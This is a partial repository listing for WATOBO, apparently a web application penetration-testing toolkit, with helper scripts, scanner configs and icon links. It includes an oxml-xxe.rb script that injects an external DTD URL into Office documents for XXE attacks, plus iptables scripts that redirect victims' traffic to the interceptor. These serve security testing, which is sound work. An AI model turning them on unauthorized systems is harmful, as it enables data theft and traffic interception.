-------------------------------------------------------------------------------- /bin/kmeans-test.rb: -------------------------------------------------------------------------------- 1 | require 'devenv' 2 | require 'watobo' 3 | require 'watobo/ml' 4 | 5 | chats_dir = ARGV[0] 6 | 7 | puts '+ loading chats ...' 8 | Watobo::Chats.load_marshaled chats_dir 9 | 10 | km = Watobo::Ml::KmeansChats.new Watobo::Chats.to_a 11 | km.run 12 | 13 | while 1 14 | km.clusters.each_with_index do |c, i| 15 | puts "#{c.id} - #{c.points.length}" 16 | end 17 | print "\nEnter Cluster-ID: " 18 | sel = STDIN.gets 19 | 20 | #c = km.cluster_by_id sel.to_i 21 | km.chats_of_cluster(sel.to_i) do |chat| 22 | puts "---\n#{chat.response}"; 23 | end 24 | end 25 | 26 | =begin 27 | require 'kmeans-clusterer' 28 | require 'pry' 29 | 30 | data = Array.new(10000) { [ 3, 1, 100, 1 ] } 31 | data.concat Array.new(10000) { [ 3, 1, 1000, 2 ] } 32 | data.concat Array.new(100) { [ 30, 1, 1000, 2 ] } 33 | data.concat Array.new(10) { [ 300, 5, 100, 2 ] } 34 | 35 | k = 3 # find 2 clusters in data 36 | 37 | kmeans = KMeansClusterer.run k, data, runs: 5 38 | kmeans.clusters.each do |cluster| 39 | puts cluster.id.to_s 40 | end 41 | 42 | binding.pry 43 | =end 44 | 45 | 46 | -------------------------------------------------------------------------------- /bin/list_parameters.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/ruby 2 | if $0 == __FILE__ 3 | inc_path = File.expand_path(File.join(File.dirname(__FILE__), "..", "lib")) 4 | $: << inc_path 5 | end 6 | require 'trollop' 7 | 8 | OPTS=Trollop::options do 9 | version "#{$0} 0.1 (c) 2014 siberas" 10 | opt :project, "Projectname", :type => :string 11 | opt :session, "Sessionname", :type => :string 12 | opt :url, "URL pattern", :type => :string, :default => "*" 13 | end 14 | 15 | Trollop.die :project, "Need project name" unless OPTS[:project] 16 | Trollop.die :session, "Need session name" unless OPTS[:session] 17 | 18 | require 'watobo' 19 | 20 | puts Watobo::Conf::General.workspace_path 21 | 22 | ds = Watobo::DataStore.connect(OPTS[:project], OPTS[:session]) 23 | #puts ds.num_findings 24 | puts "* searching for parameters in #{ds.num_chats} chats ..." 25 | pnames = [] 26 | ds.each_chat do |c| 27 | next unless c.request.site =~ /#{OPTS[:url]}/ 28 | c.request.parameters(:url, :data, :wwwform).each do |p| 29 | #pnames << "#{p.name} - #{p.location} - #{c.request.path}" 30 | pnames << "#{p.name} - #{p.location}" 31 | end 32 | end 33 | 34 | puts pnames.uniq 35 | -------------------------------------------------------------------------------- /bin/oxml-xxe.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/ruby 2 | if $0 == __FILE__ 3 | inc_path = File.expand_path(File.join(File.dirname(__FILE__), "..", "lib")) 4 | $: << inc_path 5 | end 6 | 7 | require 'base64' 8 | require 'openssl' 9 | require 'optimist' 10 | require 'pry' 11 | require 'nokogiri' 12 | require 'fileutils' 13 | 14 | OPTS = Optimist::options do 15 | version "#{$0} 1.0 (c) 2022 siberas" 16 | opt :path, " path to extracted doc/xls files", :type => :string 17 | opt :url, "will be set as system_id for DTD location", :type => :string 18 | 19 | end 20 | 21 | 22 | Optimist::die :path, "need pathname to oxml files" unless OPTS[:path] 23 | Optimist::die :url, "need url, e.g. http://my.system.com/bla.dtd" unless OPTS[:url] 24 | 25 | path = OPTS[:path] 26 | Dir.glob("#{path}/**/*.xml") do |f| 27 | FileUtils.cp f, "#{f}.orig" 28 | name = nil 29 | external_id = nil 30 | system_id = nil 31 | 32 | puts "Inject DTD location #{f}" 33 | xml = Nokogiri::XML(IO.binread(f)) 34 | # preserve subset values if available 35 | unless xml.document.internal_subset.nil? 36 | name = xml.document.internal_subset.name 37 | exernal_id = xml.document.internal_subset.external_id 38 | # system_id = xml.document.internal_subset.system_id 39 | xml.document.internal_subset.remove 40 | end 41 | 42 | name = name.nil? ? 'root' : name 43 | exernal_id = exernal_id.nil? ? "-//A/B/EN" : exernal_id 44 | system_id = OPTS[:url] 45 | 46 | xml.document.create_internal_subset(name, exernal_id, system_id) 47 | 48 | IO.binwrite(f, xml.to_xml) 49 | end 50 | 51 | -------------------------------------------------------------------------------- /bin/plugin-tester.rb: -------------------------------------------------------------------------------- 1 | inc_path = File.expand_path(File.join(File.dirname(__FILE__), "..", "lib")) 2 | $: << inc_path 3 | 4 | require 'fox16' 5 | include Fox 6 | 7 | require 'watobo' 8 | require 'watobo/plugin_loader' 9 | 10 | $plugin_filter = ARGV[0] ? ARGV[0] : '' 11 | module Watobo 12 | module Gui 13 | PluginLoader.new $plugin_filter 14 | application.create 15 | application.run 16 | end 17 | end 18 | -------------------------------------------------------------------------------- /bin/search_scanlog.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/ruby 2 | if $0 == __FILE__ 3 | inc_path = File.expand_path(File.join(File.dirname(__FILE__), "..", "lib")) 4 | $: << inc_path 5 | end 6 | require 'optimist' 7 | 8 | OPTS=Optimist::options do 9 | version "#{$0} 0.1 (c) 2014 siberas" 10 | opt :project, "Projectname", :type => :string 11 | opt :session, "Sessionname", :type => :string 12 | opt :type, "conversations, logs, findings or all", :type => :string, :default => "all" 13 | opt :url, "URL pattern", :type => :string, :default => "*" 14 | end 15 | 16 | Optimist.die :project, "Need project name" unless OPTS[:project] 17 | Optimist.die :session, "Need session name" unless OPTS[:session] 18 | Optimist.die :type, "" unless OPTS[:type] 19 | 20 | require 'watobo' 21 | 22 | puts Watobo::Conf::General.workspace_path 23 | 24 | 25 | ds = Watobo::DataStore.connect(OPTS[:project], OPTS[:session]) 26 | 27 | puts "\nScanList:" 28 | puts ds.list_scans 29 | 30 | binding.pry 31 | 32 | -------------------------------------------------------------------------------- /bin/watobo: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | # this is just a little wrapper to start watobo with another command than watobo_gui.rb 3 | 4 | require 'optimist' 5 | 6 | OPTS = Optimist::options do 7 | version "#{$0} 1.0 (c) 2019 siberas" 8 | banner <<-EOS 9 | --- 10 | Thanks for choosing WATOBO - The Web Application ToolBox 11 | --- 12 | Beside of using command line switches, it is also possible to controll watobo via environment variables 13 | The following env variables are available: 14 | 15 | WATOBO_BINDING=127.0.0.1:8081 - sets the binding definition of the interceptor 16 | 17 | WATOBO_PROXY=[true|false] - enables or disables the interceptor 18 | 19 | WATOBO_HOME=/tmp/watobo - directory where all conversations and settings are stored ( except initial settings ) 20 | 21 | WATOBO_CA=/path/to/ca - directory where ca files are located, use same directory to speed up start-up 22 | 23 | WATOBO_TRUSTED_IPS=192.168.1.8,10.0.0.1 - used by scanner modules, e.g. Evasions 24 | 25 | --- 26 | EOS 27 | opt :binding, "binding of interceptor (proxy), e.g. 127.0.0.1:8081", :type => :string, :default => '' 28 | opt :project, "Project name", :type => :string, :default => '' 29 | opt :session, "Session name", :type => :string, :default => '' 30 | end 31 | 32 | if $0 == __FILE__ 33 | inc_path = File.expand_path(File.join(File.dirname(__FILE__), "..", "lib")) # this is the same as rubygems would do 34 | $: << inc_path 35 | end 36 | 37 | unless OPTS[:project].empty? || OPTS[:session].empty? 38 | $startup_project = OPTS[:project] 39 | $startup_session = OPTS[:session] 40 | end 41 | 42 | unless OPTS[:binding].empty? 43 | ENV['WATOBO_BINDING'] = OPTS[:binding] 44 | end 45 | 46 | path = File.dirname(File.expand_path(__FILE__)) 47 | require File.join(path, "watobo_gui") 48 | -------------------------------------------------------------------------------- /bin/watobo-pry.rb: -------------------------------------------------------------------------------- 1 | require 'devenv' 2 | require 'pry' 3 | require 'watobo' 4 | 5 | puts Watobo::Conf::General.workspace_path 6 | 7 | require 'optimist' 8 | 9 | OPTS = Optimist::options do 10 | version "#{$0} (c) 2020 siberas" 11 | opt :project, "Projectname", :type => :string 12 | opt :session, "Sessionname", :type => :string 13 | end 14 | 15 | #Optimist.die :project, "Need project name" unless OPTS[:project] 16 | #Optimist.die :session, "Need session name" unless OPTS[:session] 17 | 18 | project_name = OPTS[:project] 19 | session_name = OPTS[:session] 20 | 21 | unless project_name 22 | puts "Need Project Name!" 23 | Watobo::DataStore.projects do |p| 24 | puts p 25 | end 26 | exit 27 | end 28 | 29 | 30 | unless session_name 31 | puts 'Need Session Name!' 32 | Watobo::DataStore.sessions(project_name) do |s| 33 | puts s 34 | end 35 | exit 36 | end 37 | 38 | 39 | project = Watobo.create_project project_name: project_name, session_name: session_name 40 | project.setupProject 41 | 42 | puts "= Active Checks =" 43 | puts Watobo.active_checks 44 | 45 | binding.pry 46 | 47 | # 48 | # req = Watobo::Chats.with_param('q', :url).first.request 49 | -------------------------------------------------------------------------------- /bin/watobo_gui.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/ruby 2 | if $0 == __FILE__ 3 | inc_path = File.expand_path(File.join(File.dirname(__FILE__), "..", "lib")) # this is the same as rubygems would do 4 | $: << inc_path 5 | end 6 | 7 | puts "#############################################################" 8 | puts 9 | puts " W A T O B O - THE Web Application Toolbox" 10 | 11 | puts " brought to you by siberas http://www.siberas.de" 12 | puts 13 | puts "#############################################################" 14 | 15 | 16 | require 'pry' 17 | 18 | require 'watobo' 19 | require 'watobo/gui' 20 | 21 | puts Watobo::Gui.info 22 | 23 | puts ">> Starting GUI ..." 24 | Watobo::Gui.start 25 | -------------------------------------------------------------------------------- /bin/watobo_srv_drb.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/ruby 2 | if $0 == __FILE__ 3 | inc_path = File.expand_path(File.join(File.dirname(__FILE__), "..", "lib")) # this is the same as rubygems would do 4 | $: << inc_path 5 | end 6 | 7 | require 'drb/drb' 8 | require 'devenv' 9 | 10 | require 'optimist' 11 | require 'watobo' 12 | 13 | require 'watobo/server' 14 | 15 | include Watobo 16 | 17 | OPTS=Optimist::options do 18 | version '(c) 2020 WATOBO DRB-Server' 19 | banner <<-EOS 20 | my banner 21 | EOS 22 | 23 | opt :workspace, "targets name", :type => :string 24 | opt :port, "port of drb listener port", :default => 4444 25 | 26 | end 27 | 28 | #Optimist::die :targets, "targets name must be given" unless OPTS[:targets] 29 | 30 | port = OPTS[:port] 31 | 32 | server = Watobo::Server.new('/tmp/gaga') 33 | 34 | server.crawl 'https://www.siberas.de' 35 | DRb.start_service("druby://127.0.0.1:#{port}", worker) 36 | 37 | 38 | puts "Worker READY!" 39 | DRb.thread.join -------------------------------------------------------------------------------- /config/datastore.yml: -------------------------------------------------------------------------------- 1 | :adapter: :file 2 | :findings: findings 3 | :conversations: conversations 4 | :event_logs_dir: logs 5 | :scan_logs_dir: scan_logs -------------------------------------------------------------------------------- /config/forwarding_proxy.yml: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/config/forwarding_proxy.yml -------------------------------------------------------------------------------- /config/general.yml: -------------------------------------------------------------------------------- 1 | :workspace_name: "workspace" 2 | :project_settings_file_ext: .wps 3 | :session_settings_file_ext: .wss 4 | :watobo_folder: ".watobo" 5 | -------------------------------------------------------------------------------- /config/gui.yml: -------------------------------------------------------------------------------- 1 | :history_file: "history.yml" 2 | :save_passwords: false 3 | :save_without_master: false 4 | :fext_img: 5 | - jpg 6 | - gif 7 | - bmp 8 | - ico 9 | - png 10 | - jpeg 11 | :fext_docs: 12 | - ppt 13 | - doc 14 | - xls 15 | - pptx 16 | - docx 17 | - xlsx 18 | - pdf 19 | :fext_javascript: 20 | - js 21 | - json 22 | :fext_style: 23 | - css 24 | -------------------------------------------------------------------------------- /config/interceptor.yml: -------------------------------------------------------------------------------- 1 | :pass_through: 2 | :content_types: 3 | - application\/audio 4 | - application\/video 5 | - application\/image 6 | - application\/pdf 7 | - application\/.*flash 8 | - application\/octet-stream 9 | - image\/ 10 | :content_length: 100000 11 | :port: 8081 12 | :proxy_mode: 1 13 | :bind_addr: "127.0.0.1" -------------------------------------------------------------------------------- /config/ott_cache.yml: -------------------------------------------------------------------------------- 1 | :patterns: 2 | - name="(token)" value="([0-9a-zA-Z!-]*)" 3 | - (token)=([-0-9a-zA-Z_:]*)(;|&)? 4 | :request_ids: {} 5 | -------------------------------------------------------------------------------- /config/scan_policy.yml: -------------------------------------------------------------------------------- 1 | default: 2 | Watobo::Modules::Active::Xss::Xss_simple: true 3 | Watobo::Modules::Active::Sap::Its_service_parameter: false 4 | Watobo::Modules::Active::Sqlinjection::Sql_numerical: false 5 | Watobo::Modules::Active::Discovery::Http_methods: false 6 | Watobo::Modules::Active::Sap::Its_xss: false 7 | Watobo::Modules::Active::Sqlinjection::Sqli_simple: true 8 | Watobo::Modules::Active::Sap::Its_services: false 9 | Watobo::Modules::Active::Sap::Its_commands: false 10 | Watobo::Modules::Active::Domino::Domino_db: false 11 | Watobo::Modules::Active::Directories::Dir_indexing: false 12 | Watobo::Modules::Active::Sqlinjection::Sql_boolean: true 13 | :default_policy: default -------------------------------------------------------------------------------- /config/scanner.yml: -------------------------------------------------------------------------------- 1 | :logout_signatures: 2 | - ^Location.*login 3 | :smart_scan: true 4 | :ignore_server_errors: true 5 | :custom_error_patterns: [] 6 | :excluded_chats: [] 7 | :max_parallel_checks: 15 8 | :excluded_parms: 9 | - __VIEWSTATE 10 | - __EVENTVALIDATION 11 | :non_unique_parms: [] 12 | :smart_scan: true 13 | :www_auth: {} 14 | :scope: {} 15 | :run_passive_checks: false 16 | :client_certificates: {} 17 | :auto_login: true 18 | 19 | -------------------------------------------------------------------------------- /config/scope.yml: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/config/scope.yml -------------------------------------------------------------------------------- /config/sid_cache.yml: -------------------------------------------------------------------------------- 1 | :patterns: 2 | - name="(sessid)" value="([0-9a-zA-Z!-]*)" 3 | - (sessid)=([-0-9a-zA-Z_:]*)(;|&)? 4 | - (SESSIONID)=([-0-9a-zA-Z_:\.\(\)]*)(;|&)? 5 | - (PHPSESSID)=([0-9a-zA-Z]*)(;|&)? 6 | - (ASPSESSIONID)\w*=([0-9a-zA-Z]*)(;|&)? 7 | - (MYSAPSSO2)=([0-9a-zA-Z.=%]*)(;|&)? 8 | - (ELEXIRSID)=([0-9a-zA-Z!-]*)(;|&)? 9 | - (SLSID)=([0-9a-zA-Z!-]*)(;|&)? 10 | - (sid)=([0-9a-z]*)(')? 11 | - (saplb_\*)=([-0-9a-zA-Z_:\(\)]*)(;|&)? 12 | - (DomAuthSessId)=([0-9a-zA-Z]*)(;|&)? 13 | - (wgate)\/([\w]{4,}\/[\w=~]*)(;|&|'|")? 14 | - (session)=([-0-9a-zA-Z_:\.]*)(;|&)? -------------------------------------------------------------------------------- /custom-views/fints-simple.rb: -------------------------------------------------------------------------------- 1 | lambda {|response| 2 | h = response.body.to_s 3 | r = Base64.decode64(h) 4 | pos = 0 5 | pretty = '' 6 | 7 | while pos >= 0 and pos < r.length 8 | seg_end = r.index(/[^?]'/, pos) 9 | if seg_end 10 | pretty << r[pos..seg_end + 1] 11 | pretty << "\n" 12 | else 13 | break 14 | end 15 | pos = seg_end + 2 16 | end 17 | 18 | pretty << "\n\nPasteable\n\n" 19 | pretty << Base64.strict_encode64(r) 20 | 21 | pretty 22 | } 23 | -------------------------------------------------------------------------------- /custom-views/prettify-json.rb: -------------------------------------------------------------------------------- 1 | lambda{|response| 2 | begin 3 | jb = JSON.parse(response.body.to_s) 4 | out = JSON.pretty_generate jb 5 | rescue => bang 6 | out = "Could not prettify response :(\n\n" 7 | out << bang.to_s 8 | end 9 | out 10 | } -------------------------------------------------------------------------------- /dev/plugin_loader.rb: -------------------------------------------------------------------------------- 1 | inc_path = File.expand_path(File.join(File.dirname(__FILE__), "..", "lib")) 2 | $: << inc_path 3 | 4 | %w( load_icons gui_utils load_plugins session_history save_default_settings master_password session_history save_project_settings save_proxy_settings ).each do |l| 5 | f = File.join("watobo", "gui", "utils", l) 6 | #puts ">> Loading #{f}" 7 | require f 8 | 9 | end 10 | FXApp.new('Watobo', 'Plugin Loader') 11 | 12 | 13 | require 'watobo/gui/utils/init_icons' 14 | require 'watobo/gui/mixins/events' 15 | require 'watobo/gui/mixins/gui_settings' 16 | 17 | require 'pry' 18 | 19 | gui_path = File.expand_path(File.join(Watobo.plugin_path, "..", "lib", "watobo", "gui")) 20 | 21 | Dir.glob("#{gui_path}/*.rb").each do |cf| 22 | next if File.basename(cf) == 'main_window.rb' # skip main_window here, because it must be loaded last 23 | f = File.join("watobo", "gui", File.basename(cf)) 24 | # puts "Loading >> #{f}" 25 | require f 26 | end 27 | 28 | #puts "Loading plugin templates ..." 29 | require 'watobo/gui/templates/plugin' 30 | require 'watobo/gui/templates/plugin2' 31 | require 'watobo/gui/templates/plugin_base' 32 | require 'watobo/gui/plugin_board' 33 | require 'watobo/gui/utils/load_plugins' 34 | require 'watobo/gui/subframes/egress_handler_selection' 35 | 36 | 37 | require File.join(File.dirname(__FILE__), 'plugin_loader', 'gui','main') 38 | 39 | Watobo.dev_mode 40 | -------------------------------------------------------------------------------- /dev/plugin_loader/gui/main.rb: -------------------------------------------------------------------------------- 1 | # @private 2 | module Watobo #:nodoc: all 3 | module Gui 4 | #@application = FXApp.new('Watobo', 'Plugin Loader') 5 | 6 | def self.application 7 | # @application 8 | FXApp.instance 9 | end 10 | 11 | class PluginLoader < FXMainWindow 12 | 13 | def initialize(filter) 14 | 15 | super(Watobo::Gui.application, "Plugin Tester", :width => 800, :height => 600) 16 | 17 | # load all plugins 18 | Watobo::Gui::Utils.load_plugins("DUMMY", filter) 19 | @frame = FXVerticalFrame.new(self, LAYOUT_FILL_X | LAYOUT_FILL_Y | FRAME_GROOVE) 20 | @plugin_board = Watobo::Gui::PluginBoard.new(@frame) 21 | 22 | end 23 | 24 | 25 | # Create and show the main window 26 | def create 27 | super # Create the windows 28 | 29 | show(PLACEMENT_SCREEN) # Make the main window appear 30 | 31 | @plugin_board.updateBoard 32 | 33 | end 34 | end 35 | 36 | 37 | end 38 | end 39 | -------------------------------------------------------------------------------- /extras/private-hostspot.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | iptables -F 3 | iptables -X 4 | iptables -t nat -F 5 | iptables -t nat -X 6 | iptables -t mangle -F 7 | iptables -t mangle -X 8 | iptables -P INPUT ACCEPT 9 | iptables -P FORWARD ACCEPT 10 | iptables -P OUTPUT ACCEPT 11 | 12 | echo "Turning on Natting" 13 | iptables -t nat -A POSTROUTING -o eno16777736 -j MASQUERADE 14 | 15 | echo "Allowing ip forwarding" 16 | echo 1 > /proc/sys/net/ipv4/ip_forward 17 | 18 | -------------------------------------------------------------------------------- /extras/transparent-stop.sh: -------------------------------------------------------------------------------- 1 | iptables -t mangle -L --line-numbers 2 | iptables -t mangle -D PREROUTING 1 3 | iptables -t nat -L --line-numbers 4 | iptables -t nat -D PREROUTING 1 5 | iptables -t nat -L --line-numbers 6 | iptables -t nat -D PREROUTING 1 7 | 8 | -------------------------------------------------------------------------------- /extras/watobo-transparent.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # configure your interfaces here 3 | INT_IN=wlx28107b494758 4 | INT_OUT=eno16777736 5 | 6 | echo "= Interface Configuration =" 7 | echo "Incoming Interface: $INT_IN" 8 | echo "Outgoing Interface: $INT_OUT" 9 | 10 | echo "Resetting IPTables ..." 11 | iptables -F 12 | iptables -X 13 | iptables -t nat -F 14 | iptables -t nat -X 15 | iptables -t mangle -F 16 | iptables -t mangle -X 17 | iptables -P INPUT ACCEPT 18 | iptables -P FORWARD ACCEPT 19 | iptables -P OUTPUT ACCEPT 20 | 21 | #echo "Restarting DHCP ..." 22 | #/etc/init.d/dhcp3-server restart 23 | 24 | #echo "Restarting DNS ..." 25 | #/etc/init.d/bind9 restart 26 | 27 | echo "Restarting DNSMASQ ..." 28 | /etc/init.d/dnsmasq restart 29 | 30 | echo "Enable IP Forwarding ..." 31 | echo 1 > /proc/sys/net/ipv4/ip_forward 32 | 33 | echo "Send Packets To NFQUEUE ..." 34 | iptables -t mangle -A PREROUTING -p tcp -m state --dport 443 --state NEW -j NFQUEUE --queue-num 0 35 | 36 | echo "Redirect Traffic to WATOBO ..." 37 | iptables -t nat -A PREROUTING -i $INT_IN -p tcp -m tcp -j REDIRECT --dport 443 --to-ports 8081 38 | iptables -t nat -A PREROUTING -i $INT_IN -p tcp -m tcp -j REDIRECT --dport 80 --to-ports 8081 39 | 40 | echo "Turn on Natting ..." 41 | iptables -t nat -A POSTROUTING -o $INT_OUT -j MASQUERADE 42 | -------------------------------------------------------------------------------- /icons/Add.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/icons/Add.ico -------------------------------------------------------------------------------- /icons/Add_24x24.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/icons/Add_24x24.ico -------------------------------------------------------------------------------- /icons/Bandwidth.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/icons/Bandwidth.ico -------------------------------------------------------------------------------- /icons/Bandwidth_24x24.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/icons/Bandwidth_24x24.ico -------------------------------------------------------------------------------- /icons/BestPractice_16x16.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/icons/BestPractice_16x16.ico -------------------------------------------------------------------------------- /icons/BestPractice_24x24.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/icons/BestPractice_24x24.ico -------------------------------------------------------------------------------- /icons/Mr. Bomb.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/icons/Mr. Bomb.ico -------------------------------------------------------------------------------- /icons/Mr. Bomb_16x16.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/icons/Mr. Bomb_16x16.ico -------------------------------------------------------------------------------- /icons/Mr. Bomb_24x24.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/icons/Mr. Bomb_24x24.ico -------------------------------------------------------------------------------- /icons/Orange Ball.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/icons/Orange Ball.ico -------------------------------------------------------------------------------- /icons/Orange Ball_16x16.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/icons/Orange Ball_16x16.ico -------------------------------------------------------------------------------- /icons/Orange Ball_24x24.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/icons/Orange Ball_24x24.ico -------------------------------------------------------------------------------- /icons/Pause.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/icons/Pause.ico -------------------------------------------------------------------------------- /icons/Play.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/icons/Play.ico -------------------------------------------------------------------------------- /icons/Play_24x24.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/icons/Play_24x24.ico -------------------------------------------------------------------------------- /icons/Red Ball.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/icons/Red Ball.ico -------------------------------------------------------------------------------- /icons/Red Ball_16x16.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/icons/Red Ball_16x16.ico -------------------------------------------------------------------------------- /icons/Red Ball_24x24.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/icons/Red Ball_24x24.ico -------------------------------------------------------------------------------- /icons/Run.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/icons/Run.ico -------------------------------------------------------------------------------- /icons/Stop.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/icons/Stop.ico -------------------------------------------------------------------------------- /icons/Stop_24x24.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/icons/Stop_24x24.ico -------------------------------------------------------------------------------- /icons/Terminal.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/icons/Terminal.ico -------------------------------------------------------------------------------- /icons/Transfer.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/icons/Transfer.ico -------------------------------------------------------------------------------- /icons/Transfer_16x16.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/icons/Transfer_16x16.ico -------------------------------------------------------------------------------- /icons/User.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/icons/User.ico -------------------------------------------------------------------------------- /icons/User_16x16.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/icons/User_16x16.ico -------------------------------------------------------------------------------- /icons/User_24x24.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/icons/User_24x24.ico -------------------------------------------------------------------------------- /icons/Web Browser.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/icons/Web Browser.ico -------------------------------------------------------------------------------- /icons/Web Browser_16x16.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/icons/Web Browser_16x16.ico -------------------------------------------------------------------------------- /icons/Write Document.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/icons/Write Document.ico -------------------------------------------------------------------------------- /icons/Yellow Ball.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/icons/Yellow Ball.ico -------------------------------------------------------------------------------- /icons/Yellow Ball_16x16.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/icons/Yellow Ball_16x16.ico -------------------------------------------------------------------------------- /icons/Yellow Ball_24x24.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/icons/Yellow Ball_24x24.ico -------------------------------------------------------------------------------- /icons/advanced.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/icons/advanced.ico -------------------------------------------------------------------------------- /icons/advanced_16x16.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/icons/advanced_16x16.ico -------------------------------------------------------------------------------- /icons/advanced_24x24.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/icons/advanced_24x24.ico -------------------------------------------------------------------------------- /icons/applications.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/icons/applications.ico -------------------------------------------------------------------------------- /icons/applications_16x16.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/icons/applications_16x16.ico -------------------------------------------------------------------------------- /icons/applications_24x24.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/icons/applications_24x24.ico -------------------------------------------------------------------------------- /icons/browser_16x16.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/icons/browser_16x16.ico -------------------------------------------------------------------------------- /icons/browser_24x24.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/icons/browser_24x24.ico -------------------------------------------------------------------------------- /icons/burn.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/icons/burn.ico -------------------------------------------------------------------------------- /icons/burn_16x16.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/icons/burn_16x16.ico -------------------------------------------------------------------------------- /icons/burn_24x24.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/icons/burn_24x24.ico -------------------------------------------------------------------------------- /icons/calculator.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/icons/calculator.ico 